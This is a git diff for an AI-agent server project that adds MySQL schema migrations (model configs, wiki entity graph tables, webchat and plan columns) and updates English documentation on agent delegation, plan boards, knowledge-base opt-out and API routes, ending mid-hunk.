b/mateclaw-server/src/main/resources/db/migration/mysql/V145__claude_fable_5_models.sql new file mode 100644 index 00000000..15fef7c3 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/mysql/V145__claude_fable_5_models.sql @@ -0,0 +1,37 @@ +-- Add Claude Fable 5 model entries to mate_model_config. Unlike earlier Claude +-- families, the Fable rows live ONLY here, not in the data-mysql-{en,zh}.sql +-- seed: Flyway runs every version (V1..) on a fresh database, so the migration +-- seeds new installs and upgrades existing deployments alike. The trade-off is +-- that the description below is English-only (seed files carry localized copy). +-- +-- Fable 5 is a reasoning-first model with a 1M-token context window and native +-- vision input. It follows the same strict API contract as Claude 4.7+: +-- temperature / top_p / top_k must be NULL (otherwise HTTP 400), and the +-- "xhigh" adaptive thinking tier is available. Both are handled in +-- AnthropicChatModelBuilder via the isClaudeFable() / isClaude47OrLater() +-- detectors. Vision capability is resolved in ModelCapabilityService. +-- +-- INSERT ... ON DUPLICATE KEY UPDATE is the MySQL idempotent upsert. +-- Same V number is used in h2/ for cross-dialect parity. + +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES +-- Direct Anthropic +(1000000300, 'Claude Fable 5', 'anthropic', 'claude-fable-5', 'Anthropic Claude Fable 5 (1M context, vision, xhigh adaptive thinking)', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +-- OpenRouter passthrough +(1000000301, 'Claude Fable 5', 'openrouter', 'anthropic/claude-fable-5', 'Claude Fable 5 via OpenRouter', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +-- Claude Code OAuth (Pro/Max subscription) +(1000000302, 'Claude Fable 5', 'anthropic-claude-code', 'claude-fable-5', 'Claude Fable 5 via Claude Code Pro/Max subscription', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0) +ON DUPLICATE KEY UPDATE + name = VALUES(name), + provider = VALUES(provider), + model_name = VALUES(model_name), + description = VALUES(description), + temperature = VALUES(temperature), + max_tokens = VALUES(max_tokens), + top_p = VALUES(top_p), + builtin = VALUES(builtin), + enabled = VALUES(enabled), + is_default = VALUES(is_default), + update_time = VALUES(update_time), + deleted = VALUES(deleted); diff --git a/mateclaw-server/src/main/resources/db/migration/mysql/V146__wiki_kb_watcher_enabled.sql b/mateclaw-server/src/main/resources/db/migration/mysql/V146__wiki_kb_watcher_enabled.sql new file mode 100644 index 00000000..d0c31420 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/mysql/V146__wiki_kb_watcher_enabled.sql @@ -0,0 +1,12 @@ +-- Per-KB source-watcher toggle. See the h2 sibling for the prose explanation. +-- MySQL lacks `ADD COLUMN IF NOT EXISTS`, so the column is guarded by an +-- INFORMATION_SCHEMA check + prepared statement (idempotent). + +SET @c := (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS + WHERE TABLE_SCHEMA = DATABASE() + AND TABLE_NAME = 'mate_wiki_knowledge_base' + AND COLUMN_NAME = 'watcher_enabled'); +SET @s := IF(@c = 0, + 'ALTER TABLE mate_wiki_knowledge_base ADD COLUMN watcher_enabled TINYINT(1) NOT NULL DEFAULT 0', + 'SELECT 1'); +PREPARE stmt FROM @s; EXECUTE stmt; DEALLOCATE PREPARE stmt; diff --git a/mateclaw-server/src/main/resources/db/migration/mysql/V147__wiki_page_aliases.sql b/mateclaw-server/src/main/resources/db/migration/mysql/V147__wiki_page_aliases.sql new file mode 100644 index 00000000..df1eb368 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/mysql/V147__wiki_page_aliases.sql @@ -0,0 +1,15 @@ +-- V147: Page aliases — MySQL dialect. +-- +-- See h2/V147__wiki_page_aliases.sql for column semantics. MySQL needs an +-- INFORMATION_SCHEMA guard because ADD COLUMN IF NOT EXISTS is unavailable on +-- the older 8.0.x versions the deploy targets. +SET @col_exists := ( + SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS + WHERE TABLE_SCHEMA = DATABASE() + AND TABLE_NAME = 'mate_wiki_page' + AND COLUMN_NAME = 'aliases' +); +SET @stmt := IF(@col_exists = 0, + 'ALTER TABLE mate_wiki_page ADD COLUMN aliases JSON DEFAULT NULL COMMENT ''Alternate concept names this page also covers''', + 'SELECT 1'); +PREPARE s FROM @stmt; EXECUTE s; DEALLOCATE PREPARE s; diff --git a/mateclaw-server/src/main/resources/db/migration/mysql/V148__wiki_entity.sql b/mateclaw-server/src/main/resources/db/migration/mysql/V148__wiki_entity.sql new file mode 100644 index 00000000..90a1040c --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/mysql/V148__wiki_entity.sql @@ -0,0 +1,32 @@ +-- mate_wiki_entity: canonical named-entity nodes extracted from source chunks. +-- See the H2 file for the design rationale. + +CREATE TABLE IF NOT EXISTS mate_wiki_entity ( + id BIGINT NOT NULL, + kb_id BIGINT NOT NULL, + + canonical_name VARCHAR(256) NOT NULL, + normalized_key VARCHAR(256) NOT NULL, + type VARCHAR(32) NOT NULL, + + aliases_json LONGTEXT, + description LONGTEXT, + salience DECIMAL(5, 4), + mention_count INT NOT NULL DEFAULT 0, + + embedding BLOB, + embedding_model VARCHAR(64), + + computed_hash VARCHAR(64), + + create_time DATETIME(3) NOT NULL DEFAULT CURRENT_TIMESTAMP(3), + update_time DATETIME(3) NOT NULL DEFAULT CURRENT_TIMESTAMP(3) ON UPDATE CURRENT_TIMESTAMP(3), + deleted TINYINT NOT NULL DEFAULT 0, + + PRIMARY KEY (id), + UNIQUE KEY uk_we_key (kb_id, normalized_key, type, deleted), + KEY idx_we_kb (kb_id, deleted), + KEY idx_we_salience (kb_id, salience DESC), + KEY idx_we_type (kb_id, type, deleted) +) ENGINE = InnoDB DEFAULT CHARSET = utf8mb4 COLLATE = utf8mb4_unicode_ci + COMMENT = 'Canonical named-entity nodes extracted and de-duplicated from source chunks.'; diff --git a/mateclaw-server/src/main/resources/db/migration/mysql/V149__wiki_entity_mention.sql b/mateclaw-server/src/main/resources/db/migration/mysql/V149__wiki_entity_mention.sql new file mode 100644 index 00000000..557491a3 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/mysql/V149__wiki_entity_mention.sql @@ -0,0 +1,27 @@ +-- mate_wiki_entity_mention: links a canonical entity to a source occurrence. +-- See the H2 file for the design rationale. + +CREATE TABLE IF NOT EXISTS mate_wiki_entity_mention ( + id BIGINT NOT NULL, + kb_id BIGINT NOT NULL, + entity_id BIGINT NOT NULL, + chunk_id BIGINT, + page_id BIGINT, + + surface_form VARCHAR(256), + char_offset INT, + confidence DECIMAL(4, 3), + evidence TEXT, + source VARCHAR(32), + + create_time DATETIME(3) NOT NULL DEFAULT CURRENT_TIMESTAMP(3), + update_time DATETIME(3) NOT NULL DEFAULT CURRENT_TIMESTAMP(3) ON UPDATE CURRENT_TIMESTAMP(3), + deleted TINYINT NOT NULL DEFAULT 0, + + PRIMARY KEY (id), + KEY idx_wem_entity (entity_id, deleted), + KEY idx_wem_chunk (chunk_id), + KEY idx_wem_page (page_id), + KEY idx_wem_kb (kb_id, deleted) +) ENGINE = InnoDB DEFAULT CHARSET = utf8mb4 COLLATE = utf8mb4_unicode_ci + COMMENT = 'Entity-to-source occurrence links connecting the entity layer to chunks and pages.'; diff --git a/mateclaw-server/src/main/resources/db/migration/mysql/V150__wiki_entity_relation.sql b/mateclaw-server/src/main/resources/db/migration/mysql/V150__wiki_entity_relation.sql new file mode 100644 index 00000000..02d91a92 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/mysql/V150__wiki_entity_relation.sql @@ -0,0 +1,28 @@ +-- mate_wiki_entity_relation: directed subject -> predicate -> object triples +-- between canonical entities. See the H2 file for the design rationale. + +CREATE TABLE IF NOT EXISTS mate_wiki_entity_relation ( + id BIGINT NOT NULL, + kb_id BIGINT NOT NULL, + + subject_entity_id BIGINT NOT NULL, + predicate VARCHAR(64) NOT NULL, + object_entity_id BIGINT NOT NULL, + + evidence TEXT, + confidence DECIMAL(4, 3), + source VARCHAR(32), + evidence_chunk_id BIGINT, + computed_hash VARCHAR(64), + + create_time DATETIME(3) NOT NULL DEFAULT CURRENT_TIMESTAMP(3), + update_time DATETIME(3) NOT NULL DEFAULT CURRENT_TIMESTAMP(3) ON UPDATE CURRENT_TIMESTAMP(3), + deleted TINYINT NOT NULL DEFAULT 0, + + PRIMARY KEY (id), + UNIQUE KEY uk_wer_triple (kb_id, subject_entity_id, predicate, object_entity_id, deleted), + KEY idx_wer_subject (kb_id, subject_entity_id), + KEY idx_wer_object (kb_id, object_entity_id), + KEY idx_wer_kb (kb_id, deleted) +) ENGINE = InnoDB DEFAULT CHARSET = utf8mb4 COLLATE = utf8mb4_unicode_ci + COMMENT = 'Entity-to-entity fact triples forming the entity-level knowledge graph edges.'; diff --git a/mateclaw-server/src/main/resources/db/migration/mysql/V151__webchat_session_id.sql b/mateclaw-server/src/main/resources/db/migration/mysql/V151__webchat_session_id.sql new file mode 100644 index 00000000..1b7b02f1 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/mysql/V151__webchat_session_id.sql @@ -0,0 +1,15 @@ +-- See the H2 file for context. MySQL 8.0 doesn't support +-- `ADD COLUMN IF NOT EXISTS`, so the existence check goes through +-- INFORMATION_SCHEMA + a prepared statement. +SET @col_exists := ( + SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = DATABASE() + AND TABLE_NAME = 'mate_conversation' + AND COLUMN_NAME = 'webchat_session_id' +); +SET @ddl := IF(@col_exists = 0, + 'ALTER TABLE mate_conversation ADD COLUMN webchat_session_id VARCHAR(64) NULL COMMENT ''WebChat per-thread sessionId (recoverable even when conversationId hashes)''', + 'SELECT 1'); +PREPARE stmt FROM @ddl; +EXECUTE stmt; +DEALLOCATE PREPARE stmt; diff --git a/mateclaw-server/src/main/resources/db/migration/mysql/V152__webchat_archive_and_revocation.sql b/mateclaw-server/src/main/resources/db/migration/mysql/V152__webchat_archive_and_revocation.sql new file mode 100644 index 00000000..f9fce31c --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/mysql/V152__webchat_archive_and_revocation.sql @@ -0,0 +1,30 @@ +-- V148: webchat visitor-session archive flag + visitor-token revocation registry (MySQL). +-- See the H2 copy for full context. + +-- 1) archived column — MySQL 8.0 has no ADD COLUMN IF NOT EXISTS. +SET @col_exists := ( + SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = DATABASE() + AND TABLE_NAME = 'mate_conversation' + AND COLUMN_NAME = 'archived' +); +SET @ddl := IF(@col_exists = 0, + 'ALTER TABLE mate_conversation ADD COLUMN archived INT NOT NULL DEFAULT 0 COMMENT ''webchat: 0 = active, 1 = archived (hidden from default /sessions listing)''', + 'SELECT 1'); +PREPARE stmt FROM @ddl; +EXECUTE stmt; +DEALLOCATE PREPARE stmt; + +-- 2) revoked-visitor registry +CREATE TABLE IF NOT EXISTS webchat_revoked_visitor ( + id BIGINT NOT NULL PRIMARY KEY, + channel_id BIGINT NOT NULL, + visitor_id VARCHAR(128) NOT NULL, + revoked_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + reason VARCHAR(255), + create_time TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + deleted INT NOT NULL DEFAULT 0, + UNIQUE KEY uk_webchat_revoked_visitor (channel_id, visitor_id, deleted), + KEY idx_webchat_revoked_visitor_lookup (channel_id, visitor_id, deleted) +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; diff --git a/mateclaw-server/src/main/resources/db/migration/mysql/V153__zhipu_glm_5_2.sql b/mateclaw-server/src/main/resources/db/migration/mysql/V153__zhipu_glm_5_2.sql new file mode 100644 index 00000000..f3e45692 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/mysql/V153__zhipu_glm_5_2.sql @@ -0,0 +1,18 @@ +-- V153: add the GLM-5.2 flagship to the native Zhipu (BigModel / Z.AI) +-- providers. See the H2 copy for full background. Adds glm-5.2 to all four +-- existing Zhipu providers (standard + coding plan, China + International). +-- Aggregator platforms (Volcano Ark, DashScope / Bailian, ModelScope) do not +-- host GLM-5.2 yet and are intentionally left untouched. +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES + (1000000214, 'GLM-5.2', 'zhipu-cn', 'glm-5.2', '最新旗舰模型', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000224, 'GLM-5.2', 'zhipu-intl', 'glm-5.2', 'Latest flagship model (International)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000238, 'GLM-5.2 Coding', 'zhipu-cn-codingplan', 'glm-5.2', '智谱编码套餐 — GLM-5.2 最新旗舰', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000239, 'GLM-5.2 Coding', 'zhipu-intl-codingplan','glm-5.2', 'Zhipu Coding Plan — GLM-5.2 latest flagship (International)', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0) +ON DUPLICATE KEY UPDATE + name = VALUES(name), + model_name = VALUES(model_name), + description = VALUES(description), + builtin = VALUES(builtin), + enabled = VALUES(enabled), + update_time = VALUES(update_time); diff --git a/mateclaw-server/src/main/resources/db/migration/mysql/V154__agent_wiki_disabled.sql b/mateclaw-server/src/main/resources/db/migration/mysql/V154__agent_wiki_disabled.sql new file mode 100644 index 00000000..aa92cf27 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/mysql/V154__agent_wiki_disabled.sql @@ -0,0 +1,17 @@ +-- V154: Wiki/knowledge-base opt-out flag on mate_agent (issue #304). +-- Mirrors skills_disabled / tools_disabled. Defaults to FALSE. +-- See the H2 file for context. MySQL 8.0 doesn't support +-- `ADD COLUMN IF NOT EXISTS`, so the existence check goes through +-- INFORMATION_SCHEMA + a prepared statement. +SET @col_exists := ( + SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = DATABASE() + AND TABLE_NAME = 'mate_agent' + AND COLUMN_NAME = 'wiki_disabled' +); +SET @ddl := IF(@col_exists = 0, + 'ALTER TABLE mate_agent ADD COLUMN wiki_disabled TINYINT(1) NOT NULL DEFAULT 0', + 'SELECT 1'); +PREPARE stmt FROM @ddl; +EXECUTE stmt; +DEALLOCATE PREPARE stmt; diff --git a/mateclaw-server/src/main/resources/db/migration/mysql/V155__plan_conversation_id.sql b/mateclaw-server/src/main/resources/db/migration/mysql/V155__plan_conversation_id.sql new file mode 100644 index 00000000..2393ab4f --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/mysql/V155__plan_conversation_id.sql @@ -0,0 +1,15 @@ +-- V155: Link a plan to the conversation/run that produced it (see H2 file for +-- context). MySQL 8.0 doesn't support `ADD COLUMN IF NOT EXISTS`, so the +-- existence check goes through INFORMATION_SCHEMA + a prepared statement. +SET @col_exists := ( + SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = DATABASE() + AND TABLE_NAME = 'mate_plan' + AND COLUMN_NAME = 'conversation_id' +); +SET @ddl := IF(@col_exists = 0, + 'ALTER TABLE mate_plan ADD COLUMN conversation_id VARCHAR(64) NULL', + 'SELECT 1'); +PREPARE stmt FROM @ddl; +EXECUTE stmt; +DEALLOCATE PREPARE stmt; diff --git a/mateclaw-server/src/main/resources/db/migration/mysql/V156__sub_plan_assigned_agent.sql b/mateclaw-server/src/main/resources/db/migration/mysql/V156__sub_plan_assigned_agent.sql new file mode 100644 index 00000000..598f3c51 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/mysql/V156__sub_plan_assigned_agent.sql @@ -0,0 +1,15 @@ +-- V156: Per-step agent delegation for plan-execute (see H2 file for context). +-- MySQL 8.0 doesn't support `ADD COLUMN IF NOT EXISTS`, so the existence check +-- goes through INFORMATION_SCHEMA + a prepared statement. +SET @col_exists := ( + SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = DATABASE() + AND TABLE_NAME = 'mate_sub_plan' + AND COLUMN_NAME = 'assigned_agent_id' +); +SET @ddl := IF(@col_exists = 0, + 'ALTER TABLE mate_sub_plan ADD COLUMN assigned_agent_id BIGINT NULL', + 'SELECT 1'); +PREPARE stmt FROM @ddl; +EXECUTE stmt; +DEALLOCATE PREPARE stmt; diff --git a/mateclaw-server/src/main/resources/docs/en/agents.md b/mateclaw-server/src/main/resources/docs/en/agents.md index f785ee94..3a66f9ef 100644 --- a/mateclaw-server/src/main/resources/docs/en/agents.md +++ b/mateclaw-server/src/main/resources/docs/en/agents.md @@ -107,7 +107,7 @@ Change an agent's type at any time. Same system prompt works reasonably in both ## Multi-agent parallel delegation -An agent doesn't work alone. One agent can delegate to another — or to **three at once**. +An agent doesn't work alone. One agent can delegate to another — or to **multiple agents at once** (up to 8). - **Single delegation** — hand a sub-task to a specific agent; it runs in an isolated session, results stream back - **Parallel delegation** — fan out to multiple agents at once, each in its own session @@ -130,8 +130,9 @@ Three delegation tools, one per cadence: Children deny a default set of tools so the tree can't run away: -- `delegateToAgent` / `delegateParallel` (recursion guard — children can't launch their own synchronous/parallel delegations, avoiding a delegation storm) -- the `setGoal` family + the `remember` family (goal and memory ownership stays with the parent) +- `delegateToAgent` / `delegateParallel` / `listAvailableAgents` (recursion guard — children can't launch their own synchronous/parallel delegations and can't enumerate sibling agents) +- `setGoal` / `addGoalCriterion` / `completeGoal` / `getGoalStatus` (goal ownership stays with the parent) +- `remember` / `remember_structured` / `forget_structured` (children can't write into the parent's long-term memory) - `create_employee` (children can't conjure new employees) This default deny list is tunable via `mateclaw.delegation.child-denied-tools`. @@ -150,6 +151,41 @@ The ChatConsole draws the whole delegation tree, not a flat log: --- +## Plan Kanban + +::: tip New +The `Digital Employees` page now has a three-way toggle at the top: **Roster / Live / Plan Kanban**. The Kanban surfaces every plan produced by every employee in the workspace, sorted by status into a single board so you can see at a glance who's doing what and where things are stuck. (Visible to admins only.) +::: + +The board is a global view of **Plan-and-Execute plans**, with four columns that plans fall into automatically: + +| Column | Meaning | +|--------|---------| +| **Pending** | Plan generated, first step hasn't started yet | +| **Running** | First step has started | +| **Done** | All steps completed | +| **Failed** | A step failed and won't be retried | + +The layout is **swimlane-style**: each employee that has plans gets its own row, ordered by most-recent activity, with a top-of-page dropdown to filter to a single employee. Multiple re-plans for the same goal collapse into **one card + ×N badge** — no stacking. Each card shows the goal text, a progress bar (completed / total steps), and step-distribution chips (N pending / M running / K done). + +The board is **read-only** — state is driven by execution, not drag-and-drop. Click a card and a **plan detail panel** slides in from the right: assigned employee, status, KPIs (step count / progress / creation date), execution output (Markdown rendered), and an expandable step timeline. A "Goals" button at the top links directly to the active [Goals](./goals) list. + +REST: `GET /api/v1/plans?limit=N` (most-recent N plans across all employees), `GET /api/v1/plans?agentId=...` (by employee), `GET /api/v1/plans/{id}` (with step detail). + +### Per-step delegation to specialist employees + +::: tip New +A multi-step plan doesn't have to be run by a single employee from start to finish. When generating a plan, the planner can assign **individual steps** to more-specialized employees in the workspace. +::: + +The mechanism is **automatic** — no manual wiring required. During planning, the system shows the planner every other enabled employee in the workspace (name and description included); the planner marks a step for a specialist employee when that step clearly falls within the specialist's domain, leaving the remaining steps to itself. Most steps typically need no delegation. + +- Delegation is recorded in `mate_sub_plan.assigned_agent_id`; a blue badge — **"Delegated to <employee name>"** — appears below the step in the plan detail panel +- Delegated steps execute in a **sub-conversation** scoped to the parent plan's conversation — they do **not** leak into the top-level conversation list as independent sessions +- Step-level delegation shares the same semantics as the [Goals](./goals) system and the [multi-level delegation tree](#multi-level-subagent-delegation-tree) above: the parent breaks up the work, specialists do their part + +--- + ## Build a team from one sentence: the digital-employee builder skill ::: tip New in 1.4.0 @@ -167,6 +203,24 @@ The companion tool **`list_capability_catalog`** lets the skill survey which too --- +## Single-employee creation wizard + +::: tip New +The team-builder skill above creates a whole team in one shot. If you only need **one** employee and don't want to fill in every field by hand, use the **Create Wizard** button in the top-right corner of the employee list — describe what you want in a sentence, and the AI drafts the employee for you to tweak before saving. +::: + +This is a separate three-step UI wizard (`Digital Employees → Create Wizard`), distinct from the team-builder skill: the skill outputs a team through a chat interface; the wizard outputs a single employee through a dedicated page. + +1. **Describe** — type a natural-language sentence in the input box ("an operations assistant that tracks competitor news and writes a daily brief"). Example chips below the box let you fill one in with a single click +2. **Review** — the AI returns a draft: name, avatar emoji, role, goal, system prompt, type (`react` / `plan_execute`), suggested opening question, tags, and **recommended tool / skill / knowledge-base bindings**. Every field is editable; the capabilities list uses a searchable picker +3. **Publish** — confirm and the employee is created along with all tool / skill / KB bindings in one go; you're offered "Start chatting / Create another / Back to list" + +**Hallucination prevention** is the key design decision here: the AI can only suggest tools, skills, and KBs that **actually exist** in your deployment — anything the model invents that doesn't match a real capability is verified and discarded server-side during generation, before the draft ever reaches the wizard. Every binding shown in the draft is immediately usable. + +Backend endpoint: `POST /api/v1/agents/generate`, request body `{ "requirement": "your one-sentence description" }`, response is a validated draft. + +--- + ## Deep thinking Not every question deserves deep reasoning, but some do. MateClaw lets you turn on deep thinking per agent, per conversation: @@ -188,7 +242,7 @@ Not every question deserves deep reasoning, but some do. MateClaw lets you turn 5. Choose the type (`react` or `plan_execute`) 6. Write (or edit) the system prompt (role / goal / backstory get auto-appended — don't repeat them) 7. Pick which tools they can use, bind any knowledge bases they should read -8. Set `max_iterations` (default 10) +8. Set `max_iterations` (default 100) 9. Save Live immediately. Call them from chat or via API. @@ -250,6 +304,27 @@ When an employee invokes a wiki tool, the resolution order is: Migration note: early versions persisted the binding on `mate_wiki_knowledge_base.agent_id` (one-to-one, exclusive semantics). Starting with the V130 migration, every legacy `kb.agent_id` is backfilled into the corresponding `agent.primary_kb_id`; the old column stays around as a read-only fallback, but new writes only touch `agent.primary_kb_id`. If you relied on `kb.agent_id` to isolate a KB to a specific agent, revisit those bindings in the editor — KBs are now visible to every employee in the workspace. +#### Disable knowledge bases entirely for an employee + +::: tip New +The top of the "Knowledge Base" tab now has a toggle: **This employee does not use any knowledge base**. It is the symmetric counterpart to the tool-disable and skill-disable opt-out switches. +::: + +There are two distinct meanings of "no KB selected": + +- **Selector left empty** = "I haven't specified one" → at runtime, the employee **inherits all workspace KBs** (the default behavior) +- **Toggle switched on** = "I explicitly want zero KBs" → at runtime, the employee's visible KB set is treated as **empty** + +After saving with the toggle on, the employee's KB binding is cleared and marked as "explicitly KB-free"; a **Disabled** badge appears on the tab. The effect: + +- `wiki_read_page` / `wiki_search_pages` / `wiki_semantic_search` and every other wiki tool return `"no knowledge base"` — the tools are still in the toolset, they just produce no results +- The webchat `/wiki/pages` endpoint returns an empty list for this employee +- All KB injection and grounding is off + +**Off by default** — all existing employees are unaffected. The toggle can be removed at any time: selecting at least one KB in the picker and saving automatically clears the flag (a non-empty binding takes precedence over the opt-out, preventing contradictory state). + +The flag lives in `mate_agent.wiki_disabled` (V154 migration, covering H2 / MySQL / KingbaseES). + ### System prompt best practices The system prompt is the employee's voice, priorities, and constraints. **Role / Goal / Backstory**, skill instructions, and workspace memory all get automatically appended to the final prompt — you don't write those yourself. @@ -309,6 +384,10 @@ Why the turn ended: | `SUMMARIZED` | Completed after a context-compression pass | | `MAX_ITERATIONS_REACHED` | Forced convergence at iteration limit | | `ERROR_FALLBACK` | Degraded answer after an error | +| `INCOMPLETE` | Response did not finish; needs retry or continuation | +| `EVIDENCE_INSUFFICIENT` | Final answer cited facts not verified by any tool result | +| `STOPPED` | User actively stopped the turn | +| `RETURN_DIRECT` | A tool with `returnDirect=true` short-circuited the loop; result delivered without re-entering the LLM | --- @@ -317,12 +396,14 @@ Why the turn ended: These are things the runtime does so agents don't fail in ways you'd have to debug: - **Context pruning** — when the context window gets too full, earlier turns get summarized by the LLM and the summary replaces them. Cached for 30 minutes. Injected as a user message, not a system message, to prevent prompt injection from historical content. -- **Structured compaction (on prompt-too-long)** — when the model returns "prompt too long," the runtime walks a four-stage escalation: **soft trim → hard clear → pre-prune → LLM structured summary**. At every stage it **always preserves the prefix** — the system prompt + the goal anchor stay intact — and injects the final summary as a UserMessage. Delegation tool results are **never compacted** (they're a child's hard-won output; lose them and they're gone). After a failed summary there's a **10-minute cooldown**, so the runtime won't keep hammering the LLM inside the same over-budget turn. +- **Structured compaction (on prompt-too-long)** — when the model returns "prompt too long," the runtime walks a four-stage escalation: **soft trim → hard clear → pre-prune → LLM structured summary**. At every stage it **always preserves the prefix** — the system prompt + the goal anchor stay intact — and injects the final summary as a UserMessage. Delegation tool results are **never compacted** (they're a child's hard-won output; lose them and they're gone). After a PTL-triggered compaction there's a **1-minute cooldown**, so the runtime won't keep hammering the LLM inside the same over-budget turn. - **Thinking recovery** — if a stream breaks mid-response, the partial thinking and content persist and show up when the conversation reloads. - **Iteration limit handler** — instead of crashing when `max_iterations` is hit, the runtime forces a best-effort summary answer. - **Stale stream cleanup** — every open SSE stream is tracked, abandoned ones are reaped automatically. - **429 retry** — LLM rate-limit errors trigger automatic retries with backoff. - **Repetition detection** — agents looping on the same tool call get forced out. +- **Stall detection + re-planning** — in Plan-and-Execute mode, when a step throws an exception or repeatedly fails inside a tool loop, the runtime discards the current plan, carries the failure reason back to the planning node, and **re-plans** to route around the broken step — rather than pushing a garbage result forward. See [Goals · Stall detection and re-planning](./goals#stall-detection-and-re-planning). +- **Hard continuation on the iteration cap** — an employee with an active goal that hits its iteration limit can **resume with a full fresh iteration budget** instead of stopping and waiting for you to send another message. See [Goals · Hard continuation](./goals#hard-continuation-on-the-iteration-cap). - **Configurable tool timeouts** — one slow tool can't freeze a turn. - **Channel health monitor** — failing channel adapters restart with exponential backoff. diff --git a/mateclaw-server/src/main/resources/docs/en/ambient-ai.md b/mateclaw-server/src/main/resources/docs/en/ambient-ai.md index a9459bc3..ec195429 100644 --- a/mateclaw-server/src/main/resources/docs/en/ambient-ai.md +++ b/mateclaw-server/src/main/resources/docs/en/ambient-ai.md @@ -109,7 +109,7 @@ Only MateClaw fills out the right column completely, because only MateClaw has a - **Multi-agent runtime** (ReAct + Plan-Execute) - **Cron scheduling + retry** -- **9 IM channel adapters** with exponential-backoff reconnect +- **8 IM channel adapters** with exponential-backoff reconnect - **Persistent memory** ([Memory](./memory) — Dreaming makes it know you better every day) - **Wiki knowledge layer** ([LLM Wiki](./wiki) — gives the agent something to base research on) - **Tool Guard** ([Security](./security) — sensitive ops still ask you first) diff --git a/mateclaw-server/src/main/resources/docs/en/api.md b/mateclaw-server/src/main/resources/docs/en/api.md index e3e01bf6..7879cf70 100644 --- a/mateclaw-server/src/main/resources/docs/en/api.md +++ b/mateclaw-server/src/main/resources/docs/en/api.md @@ -404,12 +404,12 @@ Total routes extracted: 406. | `GET` | `/api/v1/skills/{id}` | `Get` | | `PUT` | `/api/v1/skills/{id}` | `Update` | | `POST` | `/api/v1/skills/{id}/archive` | `Archive` | -| `GET` | `/api/v1/skills/{id}/employees` | `List agents that can use this skill (RFC-090 §14.2)` | +| `GET` | `/api/v1/skills/{id}/employees` | `List agents that can use this skill` | | `POST` | `/api/v1/skills/{id}/export-workspace` | `Export To Workspace` | -| `GET` | `/api/v1/skills/{id}/lessons` | `Read per-skill LESSONS.md (RFC-090 §11.4)` | -| `POST` | `/api/v1/skills/{id}/lessons/clear` | `Clear all lessons for a skill (RFC-090 §11.4)` | +| `GET` | `/api/v1/skills/{id}/lessons` | `Read per-skill LESSONS.md` | +| `POST` | `/api/v1/skills/{id}/lessons/clear` | `Clear all lessons for a skill` | | `POST` | `/api/v1/skills/{id}/pin` | `Pin` | -| `GET` | `/api/v1/skills/{id}/requirements` | `Pre-flight requirement statuses for a skill (RFC-090)` | +| `GET` | `/api/v1/skills/{id}/requirements` | `Pre-flight requirement statuses for a skill` | | `POST` | `/api/v1/skills/{id}/rescan` | `Rescan` | | `POST` | `/api/v1/skills/{id}/restore` | `Restore` | | `POST` | `/api/v1/skills/{id}/sync-files` | `Re-sync this skill's bundle files from DB → local workspace cache` | @@ -423,7 +423,7 @@ Total routes extracted: 406. | Method | Path | Purpose / handler | |---|---|---| -| `GET` | `/api/v1/skill-templates` | `List skill templates (RFC-091)` | +| `GET` | `/api/v1/skill-templates` | `List skill templates` | | `GET` | `/api/v1/skill-templates/{id}` | `Get a single skill template` | | `POST` | `/api/v1/skill-templates/{id}/instantiate` | `Instantiate a template into a skill` | diff --git a/mateclaw-server/src/main/resources/docs/en/channels.md b/mateclaw-server/src/main/resources/docs/en/channels.md index 327536ea..438372a6 100644 --- a/mateclaw-server/src/main/resources/docs/en/channels.md +++ b/mateclaw-server/src/main/resources/docs/en/channels.md @@ -258,10 +258,10 @@ curl -X POST http://localhost:18088/api/v1/channels \ "type": "feishu", "agentId": 1, "config": { - "appId": "cli_your_app_id", - "appSecret": "your-app-secret", - "verificationToken": "your-verification-token", - "encryptKey": "your-encrypt-key" + "app_id": "cli_your_app_id", + "app_secret": "your-app-secret", + "verification_token": "your-verification-token", + "encrypt_key": "your-encrypt-key" }, "enabled": true }' @@ -349,8 +349,8 @@ curl -X POST http://localhost:18088/api/v1/channels \ "type": "feishu", "agentId": 1, "config": { - "appId": "cli_your_app_id", - "appSecret": "your-app-secret", + "app_id": "cli_your_app_id", + "app_secret": "your-app-secret", "card_format": "auto", "card_header": "AI 助手", "card_streaming_enabled": true, @@ -384,11 +384,8 @@ curl -X POST http://localhost:18088/api/v1/channels \ "type": "wecom", "agentId": 1, "config": { - "corpId": "your-corp-id", - "wecomAgentId": "1000002", - "secret": 